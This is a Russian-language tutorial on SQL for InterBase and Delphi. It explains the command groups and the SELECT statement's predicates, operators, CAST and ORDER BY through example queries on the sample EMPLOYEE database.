Элегантность и независимость от специфики компьютерных технологий, а также его поддержка лидерами промышленности в области технологии реляционных баз данных, сделало SQL (и, вероятно, в течение обозримого будущего оставит его) основным стандартным языком. По этой причине, любой, кто хочет работать с базами данных 90-х годов, должен знать SQL.

Стандарт SQL определяется ANSI (Американским Национальным Институтом Стандартов) и в данное время также принимается ISO (Международной Организацией по Стандартизации). Однако, большинство коммерческих программ баз данных расширяют SQL без уведомления ANSI, добавляя различные особенности в этот язык, которые, как они считают, будут весьма полезны. Иногда они несколько нарушают стандарт языка, хотя хорошие идеи имеют тенденцию развиваться и вскоре становиться стандартами "рынка" сами по себе в силу полезности своих качеств.
На данном уроке мы будем, в основном, следовать стандарту ANSI, но одновременно иногда будет показывать и некоторые наиболее общие отклонения от его стандарта.
Точное описание особенностей языка приводится в документации на СУБД, которую Вы используете. SQL системы InterBase 4.0 соответствует стандарту ANSI-92 и частично стандарту ANSI-III.

Состав языка SQL

Язык SQL предназначен для манипулирования данными в реляционных базах данных, определения структуры баз данных и для управления правами доступа к данным в многопользовательской среде.
Поэтому, в язык SQL в качестве составных частей входят:
· язык манипулирования данными (Data Manipulation Language, DML)
· язык определения данных (Data Definition Language, DDL)
· язык управления данными (Data Control Language, DCL).

Подчеркнем, что это не отдельные языки, а различные команды одного языка. Такое деление проведено только лишь с точки зрения различного функционального назначения этих команд.

Язык манипулирования данными используется, как это следует из его названия, для манипулирования данными в таблицах баз данных. Он состоит из 4 основных команд:

SELECT (выбрать)
INSERT (вставить)
UPDATE (обновить)
DELETE (удалить).

Язык определения данных используется для создания и изменения структуры базы данных и ее составных частей - таблиц, индексов, представлений (виртуальных таблиц), а также триггеров и сохраненных процедур. Основными его командами являются:

CREATE DATABASE (создать базу данных)
CREATE TABLE (создать таблицу)
CREATE VIEW (создать виртуальную таблицу)
CREATE INDEX (создать индекс)
CREATE TRIGGER (создать триггер)
CREATE PROCEDURE (создать сохраненную процедуру)
ALTER DATABASE (модифицировать базу данных)
ALTER TABLE (модифицировать таблицу)
ALTER VIEW (модифицировать виртуальную таблицу)
ALTER INDEX (модифицировать индекс)
ALTER TRIGGER (модифицировать триггер)
ALTER PROCEDURE (модифицировать сохраненную процедуру)
DROP DATABASE (удалить базу данных)
DROP TABLE (удалить таблицу)
DROP VIEW (удалить виртуальную таблицу)
DROP INDEX (удалить индекс)
DROP TRIGGER (удалить триггер)
DROP PROCEDURE (удалить сохраненную процедуру).

Язык управления данными используется для управления правами доступа к данным и выполнением процедур в многопользовательской среде. Более точно его можно назвать "язык управления доступом". Он состоит из двух основных команд:

GRANT (дать права)
REVOKE (забрать права).

С точки зрения прикладного интерфейса существуют две разновидности команд SQL:
· интерактивный SQL
· встроенный SQL.
Интерактивный SQL используется в специальных утилитах (типа WISQL или DBD), позволяющих в интерактивном режиме вводить запросы с использованием команд SQL, посылать их для выполнения на сервер и получать результаты в предназначенном для этого окне. Встроенный SQL используется в прикладных программах, позволяя им посылать запросы к серверу и обрабатывать полученные результаты, в том числе комбинируя set-ориентированный и record-ориентированный подходы.
Мы не будем приводить точный синтаксис команд SQL, вместо этого мы рассмотрим их на многочисленных примерах, что намного более важно для понимания SQL, чем точный синтаксис, который можно посмотреть в документации на Вашу СУБД.

Итак, начнем с рассмотрения команд языка манипулирования данными.

Реляционные операции. Команды языка манипулирования данными

Наиболее важной командой языка манипулирования данными является команда SELECT. За кажущейся простотой ее синтаксиса скрывается огромное богатство возможностей. Нам важно научиться использовать это богатство!
На данном уроке предполагается, если не оговорено противное, что все команды языка SQL вводятся интерактивным способом. В качестве информационной основы для примеров мы будем использовать базу данных "Служащие предприятия" (employee.gdb), входящую в поставку Delphi и находящуюся (по умолчанию) в поддиректории \IBLOCAL\EXAMPLES.

Рис. 1: Структура базы данных EMPLOYEE

На рис.1 приведена схема базы данных EMPLOYEE для Local InterBase, нарисованная с помощью CASE-средства S-Designor (см. доп. урок). На схеме показаны таблицы базы данных и взаимосвязи, а также обозначены первичные ключи и их связи с внешними ключами. Многие из примеров, особенно в конце урока, являются весьма сложными. Однако, не следует на этом основании делать вывод, что так сложен сам язык SQL. Дело, скорее, в том, что обычные (стандартные) операции настолько просты в SQL, что примеры таких операций оказываются довольно неинтересными и не иллюстрируют полной мощности этого языка. Но в целях системности мы пройдем по всем возможностям SQL: от самых простых - до чрезвычайно сложных.
Начнем с базовых операций реляционных баз данных. Таковыми являются:
· выборка (Restriction)
· проекция (Projection)
· соединение (Join)
· объединение (Union).

Операция выборки позволяет получить все строки (записи) либо часть строк одной таблицы.

SELECT * FROM country Получить все строки
таблицы Country

COUNTRY         CURRENCY
=============== ==========
USA             Dollar
England         Pound
Canada          CdnDlr
Switzerland     SFranc
Japan           Yen
Italy           Lira
France          FFranc
Germany         D-Mark
Australia       ADollar
Hong Kong       HKDollar
Netherlands     Guilder
Belgium         BFranc
Austria         Schilling
Fiji            FDollar

В этом примере и далее - для большей наглядности - все зарезервированные слова языка SQL будем писать большими буквами. Красным цветом будем записывать предложения SQL, а светло-синим - результаты выполнения запросов.

SELECT * FROM country
WHERE currency = "Dollar"      Получить подмножество       строк таблицы Country,       удовлетворяющее       условию Currency = "Dollar"

Результат последней операции выглядит следующим образом:

COUNTRY         CURRENCY
=============== ==========
USA             Dollar

Операция проекции позволяет выделить подмножество столбцов таблицы. Например:

SELECT currency FROM country      Получить список
      денежных единиц

CURRENCY
==========
Dollar
Pound
CdnDlr
SFranc
Yen
Lira
FFranc
D-Mark
ADollar
HKDollar
Guilder
BFranc
Schilling
FDollar

На практике очень часто требуется получить некое подмножество столбцов и строк таблицы, т.е. выполнить комбинацию Restriction и Projection. Для этого достаточно перечислить столбцы таблицы и наложить ограничения на строки.

SELECT currency FROM country
WHERE country = "Japan"      Найти денежную
      единицу Японии

CURRENCY
==========
Yen

SELECT first_name, last_name
FROM employee
WHERE first_name = "Roger"      Получить фамилии
      работников,
      которых зовут "Roger"
FIRST_NAME      LAST_NAME
=============== ====================
Roger           De Souza
Roger           Reeves

Эти примеры иллюстрируют общую форму команды SELECT в языке SQL (для одной таблицы):

SELECT      (выбрать) специфицированные поля
FROM       (из) специфицированной таблицы
WHERE      (где) некоторое специфицированное условие является                                                                   истинным

Операция соединения позволяет соединять строки из более чем одной таблицы (по некоторому условию) для образования новых строк данных.

SELECT first_name, last_name, proj_name
FROM employee, project
WHERE emp_no = team_leader      Получить список
      руководителей проектов

FIRST_NAME     LAST_NAME         PROJ_NAME
============== ================= ====================
Ashok          Ramanathan        Video Database
Pete           Fisher            DigiPizza
Chris          Papadopoulos      AutoMap
Bruce          Young             MapBrowser port
Mary S.        MacDonald         Marketing project 3

Операция объединения позволяет объединять результаты отдельных запросов по нескольким таблицам в единую результирующую таблицу. Таким образом, предложение UNION объединяет вывод двух или более SQL-запросов в единый набор строк и столбцов.

SELECT first_name, last_name, job_country
FROM employee
WHERE job_country = "France"
UNION
SELECT contact_first, contact_last, country
FROM customer
WHERE country = "France"      Получить список
      работников и заказчиков,
      проживающих во Франции

FIRST_NAME      LAST_NAME         JOB_COUNTRY
=============== ================= ===============
Jacques         Glon              France
Michelle        Roche             France

Для справки, приведем общую форму команды SELECT, учитывающую возможность соединения нескольких таблиц и объединения результатов:

SELECT      [DISTINCT] список_выбираемых_элементов (полей)
FROM      список_таблиц (или представлений)
[WHERE      предикат]
[GROUP BY      поле (или поля) [HAVING предикат]]
[UNION      другое_выражение_Select]
[ORDER BY      поле (или поля) или номер (номера)];

Отметим, что под предикатом понимается некоторое специфицированное условие (отбора), значение которого имеет булевский тип. Квадратные скобки означают необязательность использования дополнительных конструкций команды. Точка с запятой является стандартным терминатором команды. Отметим, что в WISQL и в компоненте TQuery ставить конечный терминатор не обязательно. При этом там, где допустим один пробел между элементами, разрешено ставить любое количество пробелов и пустых строк - выполняя желаемое форматирование для большей наглядности.

Гибкость и мощь языка SQL состоит в том, что он позволяет объединить все операции реляционной алгебры в одной конструкции, "вытаскивая" таким образом любую требуемую информацию, что очень часто и происходит на практике.

      Команда SELECT

      Простейшие конструкции команды SELECT

Итак, начнем с рассмотрения простейших конструкций языка SQL. После такого рассмотрения мы научимся:
·    назначать поля, которые должны быть выбраны
·    назначать к выборке "все поля"
·    управлять "вертикальным" и "горизонтальным" порядком выбираемых полей
·    подставлять собственные заголовки полей в результирующей таблице
·    производить вычисления в списке выбираемых элементов
·    использовать литералы в списке выбираемых элементов
·    ограничивать число возвращаемых строк
·    формировать сложные условия поиска, используя реляционные и логические операторы
·    устранять одинаковые строки из результата.

Список выбираемых элементов может содержать следующее:
Ю    имена полей
Ю    *
Ю    вычисления
Ю    литералы
Ю    функции
Ю    агрегирующие конструкции

      Список полей

SELECT first_name, last_name, phone_no
FROM phone_list      получить список
      имен, фамилий и служебных телефонов
      всех работников предприятия

FIRST_NAME    LAST_NAME            PHONE_NO
============= ==================== ====================
Terri         Lee                  (408) 555-1234
Oliver H.     Bender               (408) 555-1234
Mary S.       MacDonald            (415) 555-1234
Michael       Yanowski             (415) 555-1234
Robert        Nelson               (408) 555-1234
Kelly         Brown                (408) 555-1234
Stewart       Hall                 (408) 555-1234
...
Отметим, что PHONE_LIST - это виртуальная таблица (представление), созданная в InterBase и основанная на информации из двух таблиц - EMPLOYEE и DEPARTMENT. Она не показана на рис.1, однако, как мы уже указывали в общей структуре команды SELECT, к ней можно обращаться так же, как и к "настоящей" таблице.

      Все поля

SELECT *
FROM phone_list      получить список служебных телефонов
      всех работников предприятия
      со всей необходимой информацией

EMP_NO FIRST_NAME LAST_NAME PHONE_EXT LOCATION      PHONE_NO
====== ========== ========= ========= ============= ==============
    12 Terri      Lee       256       Monterey      (408) 555-1234
   105 Oliver H.  Bender    255       Monterey      (408) 555-1234
    85 Mary S.    MacDonald 477       San Francisco (415) 555-1234
   127 Michael    Yanowski  492       San Francisco (415) 555-1234
     2 Robert     Nelson    250       Monterey      (408) 555-1234
   109 Kelly      Brown     202       Monterey      (408) 555-1234
    14 Stewart    Hall      227       Monterey      (408) 555-1234
 ...

      Все поля в произвольном порядке

SELECT first_name, last_name, phone_no,
       location, phone_ext, emp_no
FROM phone_list      получить список служебных телефонов
      всех работников предприятия
      со всей необходимой информацией,
      расположив их в требуемом порядке

FIRST_NAME LAST_NAME PHONE_NO       LOCATION      PHONE_EXT EMP_NO
========== ========= ============== ============= ========= ======
Terri      Lee       (408) 555-1234 Monterey      256           12
Oliver H.  Bender    (408) 555-1234 Monterey      255          105
Mary S.    MacDonald (415) 555-1234 San Francisco 477           85
Michael    Yanowski  (415) 555-1234 San Francisco 492          127
Robert     Nelson    (408) 555-1234 Monterey      250            2
Kelly      Brown     (408) 555-1234 Monterey      202          109
Stewart    Hall      (408) 555-1234 Monterey      227           14
...

      Блобы

Получение информации о BLOb выглядит совершенно аналогично обычным полям. Полученные значения можно отображать с использованием data-aware компонент Delphi, например, TDBMemo или TDBGrid. Однако, в последнем случае придется самому прорисовывать содержимое блоба (например, через OnDrawDataCell). Подробнее об этом см. на уроке, посвященном работе с полями.

SELECT job_requirement
FROM job      получить список
      должностных требований
      к кандидатам на работу

JOB_REQUIREMENT:
No specific requirements.

JOB_REQUIREMENT:
15+ years in finance or 5+ years as a CFO
with a proven track record.
MBA or J.D. degree.

...

      Вычисления

SELECT emp_no, salary, salary * 1.15
FROM employee      получить список номеров
      служащих и их зарплату,
      в том числе увеличенную на 15%

EMP_NO                 SALARY
====== ====================== ======================
     2              105900.00                 121785
     4               97500.00                 112125
     5              102750.00               118162.5
     8               64635.00               74330.25
     9               75060.00                  86319
    11               86292.94      99236.87812499999
    12               53793.00               61861.95
    14               69482.62      79905.01874999999
...

Порядок вычисления выражений подчиняется общепринятым правилам: сначала выполняется умножение и деление, а затем - сложение и вычитание. Операции одного уровня выполняются слева направо. Разрешено применять скобки для изменения порядка вычислений.
Например, в выражении col1 + col2 * col3 сначала находится произведение значений столбцов col2 и col3, а затем результат этого умножения складывается со значением столбца col1. А в выражении (col1 + col2) * col3 сначала выполняется сложение значений столбцов col1 и col2, и только после этого результат умножается на значение столбца col3.

      Литералы

Для придания большей наглядности получаемому результату можно использовать литералы. Литералы - это строковые константы, которые применяются наряду с наименованиями столбцов и, таким образом, выступают в роли "псевдостолбцов". Строка символов, представляющая собой литерал, должна быть заключена в одинарные или двойные скобки.

SELECT first_name, "получает", salary,                "долларов в год"
FROM employee      получить список сотрудников
      и их зарплату

FIRST_NAME               SALARY
=========== ======== ========== ==============
Robert      получает  105900.00 долларов в год
Bruce       получает   97500.00 долларов в год
Kim         получает  102750.00 долларов в год
Leslie      получает   64635.00 долларов в год
Phil        получает   75060.00 долларов в год
K. J.       получает   86292.94 долларов в год
Terri       получает   53793.00 долларов в год
...

      Конкатенация

Имеется возможность соединять два или более столбца, имеющие строковый тип, друг с другом, а также соединять их с литералами. Для этого используется операция конкатенации (||).

SELECT "сотрудник " || first_name || " " ||          last_name
FROM employee      получить список всех сотрудников

==============================================
сотрудник Robert Nelson
сотрудник Bruce Young
сотрудник Kim Lambert
сотрудник Leslie Johnson
сотрудник Phil Forest
сотрудник K. J. Weston
сотрудник Terri Lee
сотрудник Stewart Hall
...

      Использование квалификатора AS

Для придания наглядности получаемым результатам наряду с литералами в списке выбираемых элементов можно использовать квалификатор AS. Данный квалификатор заменяет в результирующей таблице существующее название столбца на заданное. Это наиболее эффективный и простой способ создания заголовков (к сожалению, InterBase, как уже отмечалось, не поддерживает использование русских букв в наименовании столбцов).

SELECT count(*) AS number
FROM employee      подсчитать количество служащих

  NUMBER
===========
         42

SELECT "сотрудник " || first_name || " " ||          last_name AS employee_list
FROM employee      получить список всех сотрудников

EMPLOYEE_LIST
==============================================
сотрудник Robert Nelson
сотрудник Bruce Young
сотрудник Kim Lambert
сотрудник Leslie Johnson
сотрудник Phil Forest
сотрудник K. J. Weston
сотрудник Terri Lee
сотрудник Stewart Hall
...

      Работа с датами

Мы уже рассказывали о типах данных, имеющихся в различных СУБД, в том числе и в InterBase. В разных системах имеется различное число встроенных функций, упрощающих работу с датами, строками и другими типами данных. InterBase, к сожалению, обладает достаточно ограниченным набором таких функций. Однако, поскольку язык SQL, реализованный в InterBase, соответствует стандарту, то в нем имеются возможности конвертации дат в строки и гибкой работы с датами. Внутренне дата в InterBase содержит значения даты и времени. Внешне дата может быть представлена строками различных форматов, например:
Ё    "October 27, 1995"
Ё    "27-OCT-1994"
Ё    "10-27-95"
Ё    "10/27/95"
Ё    "27.10.95"
Кроме абсолютных дат, в SQL-выражениях можно также пользоваться относительным заданием дат:
а    "yesterday"      вчера
а    "today"      сегодня
а    "now"      сейчас (включая время)
а    "tomorrow"      завтра

Дата может неявно конвертироваться в строку (из строки), если:
-    строка, представляющая дату, имеет один из вышеперечисленных форматов;
-    выражение не содержит неоднозначностей в толковании типов столбцов.

SELECT first_name, last_name, hire_date
FROM employee
WHERE hire_date > '1-1-94'      получить список сотрудников,
      принятых на работу после
      1 января 1994 года

FIRST_NAME      LAST_NAME              HIRE_DATE
=============== ==================== ===========
Pierre          Osborne               3-JAN-1994
John            Montgomery           30-MAR-1994
Mark            Guckenheimer          2-MAY-1994

Значения дат можно сравнивать друг с другом, сравнивать с относительными датами, вычитать одну дату из другой.

SELECT first_name, last_name, hire_date
FROM employee
WHERE 'today' - hire_date > 365 * 7 + 1
      получить список служащих,
      проработавших на предприятии
      к настоящему времени
      более 7 лет

FIRST_NAME      LAST_NAME              HIRE_DATE
=============== ==================== ===========
Robert          Nelson               28-DEC-1988
Bruce           Young                28-DEC-1988

      Агрегатные функции

К агрегирующим функциям относятся функции вычисления суммы (SUM), максимального (SUM) и минимального (MIN) значений столбцов, арифметического среднего (AVG), а также количества строк, удовлетворяющих заданному условию (COUNT).

SELECT count(*), sum (budget), avg (budget),
       min (budget), max (budget)
FROM department
WHERE head_dept = 100      вычислить: количество отделов,
      являющихся подразделениями
      отдела 100 (Маркетинг и продажи),
      их суммарный, средний, мини-      мальный и максимальный бюджеты

COUNT         SUM        AVG        MIN         MAX
====== =========== ========== ========== ===========
     5  3800000.00  760000.00  500000.00  1500000.00

      Предложение FROM команды SELECT

В предложении FROM перечисляются все объекты (один или несколько), из которых производится выборка данных (рис.2). Каждая таблица или представление, о которых упоминается в запросе, должны быть перечислены в предложении FROM.

      Ограничения на число выводимых строк

Число возвращаемых в результате запроса строк может быть ограничено путем использования предложения WHERE, содержащего условия отбора (предикат, рис.2). Условие отбора для отдельных строк может принимать значения true, false или unnown. При этом запрос возвращает в качестве результата только те строки (записи), для которых предикат имеет значение true.
Типы предикатов, используемых в предложении WHERE:
·    сравнение с использованием реляционных операторов
=    равно
<>    не равно
!=    не равно
>    больше
<    меньше
>=    больше или равно
<=    меньше или равно
·    BETWEEN
·    IN
·    LIKE
·    CONTAINING
·    IS NULL
·    EXIST
·    ANY
·    ALL

      Операции сравнения

Рассмотрим операции сравнения. Реляционные операторы могут использоваться с различными элементами. При этом важно соблюдать следующее правило: элементы должны иметь сравнимые типы. Если в базе данных определены домены, то сравниваемые элементы должны относиться к одному домену.
Что же может быть элементом сравнения? Элементом сравнения может выступать:
·    значение поля
·    литерал
·    арифметическое выражение
·    агрегирующая функция
·    другая встроенная функция
·    значение (значения), возвращаемые подзапросом.
При сравнении литералов конечные пробелы игнорируются. Так, предложение WHERE first_name = 'Петр ' будет иметь тот же результат, что и предложение WHERE first_name = 'Петр'.

SELECT first_name, last_name, dept_no
FROM employee
WHERE job_code = "Admin"      получить список сотрудников
      (и номера их отделов),
      занимающих должность
      администраторов

FIRST_NAME      LAST_NAME            DEPT_NO
=============== ==================== =======

Terri           Lee                  000
Ann             Bennet               120
Sue Anne        O'Brien              670
Kelly           Brown                600

SELECT first_name, last_name, dept_no,
       job_country
FROM employee
WHERE job_country <> "USA"      получить список сотрудников
      (а также номера их отделов
      и страну),
      работающих вне США

FIRST_NAME      LAST_NAME        DEPT_NO JOB_COUNTRY
=============== ================ ======= ==============
Ann             Bennet           120     England
Roger           Reeves           120     England
Willie          Stansbury        120     England
Claudia         Sutherland       140     Canada
Yuki            Ichida           115     Japan
Takashi         Yamamoto         115     Japan
Roberto         Ferrari          125     Italy
Jacques         Glon             123     France
Pierre          Osborne          121     Switzerland

      BETWEEN

Предикат BETWEEN задает диапазон значений, для которого выражение принимает значение true. Разрешено также использовать конструкцию NOT BETWEEN.

SELECT first_name, last_name, salary
FROM employee
WHERE salary BETWEEN 20000 AND 30000
      получить список сотрудников,
      годовая зарплата которых
      больше 20000 и меньше 30000

FIRST_NAME      LAST_NAME           SALARY
=============== ========== ===============
Ann             Bennet            22935.00
Kelly           Brown             27000.00

Тот же запрос с использованием операторов сравнения будет выглядеть следующим образом:

SELECT first_name, last_name, salary
FROM employee
WHERE salary >= 20000
  AND salary <= 30000      получить список сотрудников,
      годовая зарплата которых
      больше 20000 и меньше 30000

FIRST_NAME      LAST_NAME           SALARY
=============== ========== ===============
Ann             Bennet            22935.00
Kelly           Brown             27000.00

Запрос с предикатом BETWEEN может иметь следующий вид:

SELECT first_name, last_name, salary
FROM employee
WHERE last_name BETWEEN "Nelson" AND "Osborne"
      получить список сотрудников,
      фамилии которых начинаются
      с "Nelson"
      и заканчиваются "Osborne"

FIRST_NAME      LAST_NAME                 SALARY
=============== =============== ================
Robert          Nelson                 105900.00
Carol           Nordstrom               42742.50
Sue Anne        O'Brien                 31275.00
Pierre          Osborne                110000.00

Значения, определяющие нижний и верхний диапазоны, могут не являться реальными величинами из базы данных. И это очень удобно - ведь мы не всегда можем указать точные значения диапазонов!

SELECT first_name, last_name, salary
FROM employee
WHERE last_name BETWEEN "Nel" AND "Osb"
      получить список сотрудников,
      фамилии которых находятся
      между "Nel" и "Osb"

FIRST_NAME      LAST_NAME                 SALARY
=============== =============== ================
Robert          Nelson                 105900.00
Carol           Nordstrom               42742.50
Sue Anne        O'Brien                 31275.00

В данном примере значений "Nel" и "Osb" в базе данных нет. Однако, все сотрудники, входящие в диапазон, в нижней части которого начало фамилий совпадает с "Nel" (т.е. выполняется условие "больше или равно"), а в верхней части фамилия не более "Osb" (т.е. выполняется условие "меньше или равно" - а именно "O", "Os", "Osb"), попадут в выборку. Отметим, что при выборке с использованием предиката BETWEEN поле, на которое накладывается диапазон, считается упорядоченным по возрастанию.

Предикат BETWEEN с отрицанием NOT (NOT BETWEEN) позволяет получить выборку записей, указанные поля которых имеют значения меньше нижней границы и больше верхней границы.

SELECT first_name, last_name, hire_date
FROM employee
WHERE hire_date NOT BETWEEN "1-JAN-1989" AND "31-DEC-1993"      получить список самых "старых"
      и самых "молодых" (по времени
      поступления на работу)
      сотрудников

FIRST_NAME      LAST_NAME          HIRE_DATE
=============== ================ ===========
Robert          Nelson           28-DEC-1988
Bruce           Young            28-DEC-1988
Pierre          Osborne           3-JAN-1994
John            Montgomery       30-MAR-1994
Mark            Guckenheimer      2-MAY-1994

      IN

Предикат IN проверяет, входит ли заданное значение, предшествующее ключевому слову "IN" (например, значение столбца или функция от него) в указанный в скобках список. Если заданное проверяемое значение равно какому-либо элементу в списке, то предикат принимает значение true. Разрешено также использовать конструкцию NOT IN.

SELECT first_name, last_name, job_code
FROM employee
WHERE job_code IN ("VP", "Admin", "Finan")
      получить список сотрудников,
      занимающих должности
      "вице-президент", "администратор",
      "финансовый директор"

FIRST_NAME      LAST_NAME        JOB_CODE
=============== ================ ========
Robert          Nelson           VP
Terri           Lee              Admin
Stewart         Hall             Finan
Ann             Bennet           Admin
Sue Anne        O'Brien          Admin
Mary S.         MacDonald        VP
Kelly           Brown            Admin

А вот пример запроса, использующего предикат NOT IN:

SELECT first_name, last_name, job_country
FROM employee
WHERE job_country NOT IN
      ("USA", "Japan", "England")
      получить список сотрудников,
      работающих не в США, не в Японии
      и не в Великобритании

FIRST_NAME      LAST_NAME        JOB_COUNTRY
=============== ================ ===============
Claudia         Sutherland       Canada
Roberto         Ferrari          Italy
Jacques         Glon             France
Pierre          Osborne          Switzerland

      LIKE

Предикат LIKE используется только с символьными данными. Он проверяет, соответствует ли данное символьное значение строке с указанной маской. В качестве маски используются все разрешенные символы (с учетом верхнего и нижнего регистров), а также специальные символы:
% - замещает любое количество символов (в том числе и 0),
_ - замещает только один символ.
Разрешено также использовать конструкцию NOT LIKE.

SELECT first_name, last_name
FROM employee
WHERE last_name LIKE "F%"      получить список сотрудников,
      фамилии которых начинаются       с буквы "F"

FIRST_NAME      LAST_NAME
=============== ====================
Phil            Forest
Pete            Fisher
Roberto         Ferrari

SELECT first_name, last_name
FROM employee
WHERE first_name LIKE "%er"      получить список сотрудников,
      имена которых       заканчиваются буквами "er"
FIRST_NAME      LAST_NAME
=============== ====================
Roger           De Souza
Roger           Reeves
Walter          Steadman

А такой запрос позволяет решить проблему произношения (и написания) имени:

SELECT first_name, last_name
FROM employee
WHERE first_name LIKE "Jacq_es"
      найти сотрудника(ов),
      в имени которого
      неизвестно произношение
      буквы перед окончанием "es"

FIRST_NAME      LAST_NAME
=============== ====================
Jacques         Glon

Что делать, если требуется найти строку, которая содержит указанные выше специальные символы ("%", "_") в качестве информационных символов? Есть выход! Для этого с помощью ключевого слова ESCAPE нужно определить так называемый escape-символ, который, будучи поставленным перед символом "%" или "_", укажет, что этот символ является информационным. Escape-символ не может быть символом "\" (обратная косая черта) и, вообще говоря, должен представлять собой символ, никогда не появляющийся в упоминаемом столбце как информационный символ. Часто для этих целей используются символы "@" и "~".

SELECT first_name, last_name
FROM employee
WHERE first_name LIKE "%@_%" ESCAPE "@"
      получить список сотрудников,
      в имени которых содержится "_"
      (знак подчеркивания)

      CONTAINING

Предикат CONTAINING аналогичен предикату LIKE, за исключением того, что он не чувствителен к регистру букв. Разрешено также использовать конструкцию NOT CONTAINING.

SELECT first_name, last_name
FROM employee
WHERE last_name CONTAINING "ne"
      получить список сотрудников,
      фамилии которых содержат буквы
      "ne", "Ne", "NE", "nE"

FIRST_NAME      LAST_NAME
=============== ====================
Robert          Nelson
Ann             Bennet
Pierre          Osborne

      IS NULL

В SQL-запросах NULL означает, что значение столбца неизвестно. Поисковые условия, в которых значение столбца сравнивается с NULL, всегда принимают значение unknown (и, соответственно, приводят к ошибке), в противоположность true или false, т.е.
WHERE dept_no = NULL
или даже
WHERE NULL = NULL.

Предикат IS NULL принимает значение true только тогда, когда выражение слева от ключевых слов "IS NULL" имеет значение null (пусто, не определено). Разрешено также использовать конструкцию IS NOT NULL, которая означает "не пусто", "имеет какое-либо значение".

SELECT department, mngr_no
FROM department
WHERE mngr_no IS NULL      получить список отделов,
      в которых еще не назначены
      начальники

DEPARTMENT                MNGR_NO
========================= =======
Marketing                  <null>
Software Products Div.     <null>
Software Development       <null>
Field Office: Singapore    <null>

Предикаты EXIST, ANY, ALL, SOME, SINGULAR мы рассмотрим в разделе, рассказывающем о подзапросах.

      Логические операторы

К логическим операторам относятся известные операторы AND, OR, NOT, позволяющие выполнять различные логические действия: логическое умножение (AND, "пересечение условий"), логическое сложение (OR, "объединение условий"), логическое отрицание (NOT, "отрицание условий"). В наших примерах мы уже применяли оператор AND. Использование этих операторов позволяет гибко "настроить" условия отбора записей.

Оператор AND означает, что общий предикат будет истинным только тогда, когда условия, связанные по "AND", будут истинны.
Оператор OR означает, что общий предикат будет истинным, когда хотя бы одно из условий, связанных по "OR", будет истинным.
Оператор NOT означает, что общий предикат будет истинным, когда условие, перед которым стоит этот оператор, будет ложным.

В одном предикате логические операторы выполняются в следующем порядке: сначала выполняется оператор NOT, затем - AND и только после этого - оператор OR. Для изменения порядка выполнения операторов разрешается использовать скобки.

SELECT first_name, last_name, dept_no,
       job_code, salary
FROM employee
WHERE dept_no = 622
   OR job_code = "Eng"
  AND salary <= 40000
ORDER BY last_name      получить список служащих,
      занятых в отделе 622
       или
      на должности "инженер" с зарплатой
      не выше 40000

FIRST_NAME   LAST_NAME     DEPT_NO JOB_CODE      SALARY
============ ============= ======= ======== ===========
Jennifer M.  Burbank       622     Eng         53167.50
Phil         Forest        622     Mngr        75060.00
T.J.         Green         621     Eng         36000.00
Mark         Guckenheimer  622     Eng         32000.00
John         Montgomery    672     Eng         35000.00
Bill         Parker        623     Eng         35000.00
Willie       Stansbury     120     Eng         39224.06

SELECT first_name, last_name, dept_no,
       job_code, salary
FROM employee
WHERE (dept_no = 622
   OR job_code = "Eng")
  AND salary <= 40000
ORDER BY last_name      получить список служащих,
      занятых в отделе 622
      или на должности "инженер",
      зарплата которых не выше 40000

FIRST_NAME   LAST_NAME     DEPT_NO JOB_CODE      SALARY
============ ============= ======= ======== ===========
T.J.         Green         621     Eng         36000.00
Mark         Guckenheimer  622     Eng         32000.00
John         Montgomery    672     Eng         35000.00
Bill         Parker        623     Eng         35000.00
Willie       Stansbury     120     Eng         39224.06

      Преобразование типов (CAST)

В SQL имеется возможность преобразовать значение столбца или функции к другому типу для более гибкого использования операций сравнения. Для этого используется функция CAST.
Типы данных могут быть конвертированы в соответствии со следующей таблицей:

Из типа данных      В тип данных
---------------------------------------
NUMERIC      CHAR, VARCHAR, DATE
CHAR, VARCHAR      NUMERIC, DATE
DATE      CHAR, VARCHAR, DATE

SELECT first_name, last_name, dept_no
FROM employee
WHERE CAST(dept_no AS char(20))
      CONTAINING "00"      получить список сотрудников,
      занятых в отделах,
      номера которых содержат "00"

FIRST_NAME      LAST_NAME            DEPT_NO
=============== ==================== =======
Robert          Nelson               600
Terri           Lee                  000
Stewart         Hall                 900
Walter          Steadman             900
Mary S.         MacDonald            100
Oliver H.       Bender               000
Kelly           Brown                600
Michael         Yanowski             100

      Изменение порядка выводимых строк (ORDER BY)

Порядок выводимых строк может быть изменен с помощью опционального (дополнительного) предложения ORDER BY в конце SQL-запроса. Это предложение имеет вид:

ORDER BY <порядок строк> [ASC | DESC]

Порядок строк может задаваться одним из двух способов:
·e0ми столбцов
·      номерами столбцов.

Способ упорядочивания определяется дополнительными зарезервированными словами ASC и DESC. Способом по умолчанию - если ничего не указано - является упорядочивание "по возрастанию" (ASC). Если же указано слово "DESC", то упорядочивание будет производиться "по убыванию".
Подчеркнем еще раз, что предложение ORDER BY должно указываться в самом конце запроса.

      Упорядочивание с использованием имен столбцов

SELECT first_name, last_name, dept_no,
       job_code, salary
FROM employee
ORDER BY last_name      получить список сотрудников,
      упорядоченный по фамилиям
      в алфавитном порядке

FIRST_NAME   LAST_NAME     DEPT_NO JOB_CODE      SALARY
============ ============= ======= ======== ===========
Janet        Baldwin       110     Sales       61637.81
Oliver H.    Bender        000     CEO        212850.00
Ann          Bennet        120     Admin       22935.00
Dana         Bishop        621     Eng         62550.00
Kelly        Brown         600     Admin       27000.00
Jennifer M.  Burbank       622     Eng         53167.50
Kevin        Cook          670     Dir        111262.50
Roger        De Souza      623     Eng         69482.62
Roberto      Ferrari       125     SRep     99000000.00
...

SELECT first_name, last_name, dept_no,
       job_code, salary
FROM employee
ORDER BY last_name DESC      получить список сотрудников,
      упорядоченный по фамилиям
      в порядке, обратном алфавитному

FIRST_NAME   LAST_NAME     DEPT_NO JOB_CODE      SALARY
============ ============= ======= ======== ===========
Katherine    Young         623     Mngr        67241.25
Bruce        Young         621     Eng         97500.00
Michael      Yanowski      100     SRep        44000.00
Takashi      Yamamoto      115     SRep      7480000.00
Randy        Williams      672     Mngr        56295.00
K. J.        Weston        130     SRep        86292.94
Claudia      Sutherland    140     SRep       100914.00
Walter       Steadman      900     CFO        116100.00
Willie       Stansbury     120     Eng         39224.06
Roger        Reeves        120     Sales       33620.62
...

Столбец, определяющий порядок вывода строк, не обязательно дожен присутствовать в списке выбираемых элементов (столбцов):

SELECT first_name, last_name, dept_no,
       job_code
FROM employee
ORDER BY salary      получить список сотрудников,
      упорядоченный по их зарплате

FIRST_NAME      LAST_NAME       DEPT_NO JOB_CODE
=============== =============== ======= ========
